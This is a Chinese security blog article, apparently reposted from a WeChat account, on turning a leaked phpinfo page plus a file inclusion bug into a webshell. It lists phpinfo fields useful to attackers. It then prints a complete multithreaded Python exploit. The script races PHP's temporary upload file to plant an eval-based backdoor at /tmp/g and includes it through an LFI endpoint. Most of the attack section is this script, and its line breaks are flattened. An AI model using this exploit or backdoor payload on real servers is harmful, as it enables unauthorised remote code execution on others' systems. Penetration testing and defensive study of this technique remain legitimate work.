文件包含之通过phpinfo去Getshell

admin 2022年8月28日08:28:34安全文章评论2 views4133字阅读13分46秒阅读模式

1.phpinfo信息利用


phpinfo文件泄露一直被大家所忽视,但其实phpinfo可以为攻击渗透测试人员提供很多的信息。

1.system

文件包含之通过phpinfo去Getshell

提供服务器所在的操作系统的信息。


2.真实ip

文件包含之通过phpinfo去Getshell

知道真实ip的我们可以省去cdn带来的各种困扰。我们同时也可以端口旁站一顿操作。

3.web根目录

文件包含之通过phpinfo去Getshell

网站绝对路径对渗透测试相当的有用,当你找到SQL注入点时,要上传木马的时候就需要知道网站的绝对路径才可以获取webshell。假如该网站使用的是如xampp之类的快速搭建的软件,你便可以寻找该软件对应的漏洞去尝试攻击目标网站。

4. disable_functions

文件包含之通过phpinfo去Getshell

通过disable_functions你可以了解到该网站禁用了些什么函数,然后去绕过代码执行和编写webshell时遇到的问题。

5. 临时文件路径

文件包含之通过phpinfo去Getshell

这次通过phpinfo来getshell的关键,phpinfo可以让我们获得临时文件路径。向phpinfo页面post恶意代码,可以在_FILES[“file1”]中看到上传的临时文件,如果该网站存在文件包含漏洞,便可以将恶意代码存储我们已知的绝对路径去包含它getshell。


2.通过phpinfo去getshell


上面介绍了一下phpinfo的基本信息。接下来我直接演示如何通过phpinfo去getshell。
发现目标网站页面存在文件包含漏洞,并且在网站根目录发现phpinfo页面。

 

文件包含之通过phpinfo去Getshell

文件包含之通过phpinfo去Getshell


这样我们就可以直接使用漏洞利用脚本。脚本如下:

 

#!/usr/bin/python import sysimport threadingimport socket
def setup(host, port): TAG="Security Test" PAYLOAD="""%sr<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714rContent-Disposition: form-data; name="dummyname"; filename="test.txt"rContent-Type: text/plainrr%s-----------------------------7dbff1ded0714--r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""rHTTP_ACCEPT: """ + padding + """rHTTP_USER_AGENT: """+padding+"""rHTTP_ACCEPT_LANGUAGE: """+padding+"""rHTTP_PRAGMA: """+padding+"""rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714rContent-Length: %srHost: %srr%s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1rUser-Agent: Mozilla/4.0rProxy-Connection: Keep-AliverHost: %srrr""" return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port)) s2.connect((host, port))
s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] =&gt; ") fn = d[i+17:i+31] except ValueError: return None
s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close()
if d.find(tag) != -1: return fn
counter=0class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args
def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1
try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return
def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0rnrn"): break s.close() i = d.find("[tmp_name] =&gt; ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256
def main(): print "LFI With PHPInfo()" print "-=" * 30
if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1)
try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1)
port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1)
print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush()
maxattempts = 1000 e = threading.Event() l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush()
tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! m/" else: print ":(" except KeyboardInterrupt: print "nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join()
if __name__=="__main__": main()

使用后我们会向服务器的临时文件夹中写入一段恶意代码。

 

文件包含之通过phpinfo去Getshell


最后我们就可以通过网站的文件包含漏洞去包含执行恶意代码。

 

文件包含之通过phpinfo去Getshell









手握日月摘星辰,安全路上永不止步。

                                                   - Khan攻防安全实验室



本文始发于微信公众号(Khan安全攻防实验室):文件包含之通过phpinfo去Getshell

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日08:28:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  文件包含之通过phpinfo去Getshell http://cn-sec.com/archives/536216.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: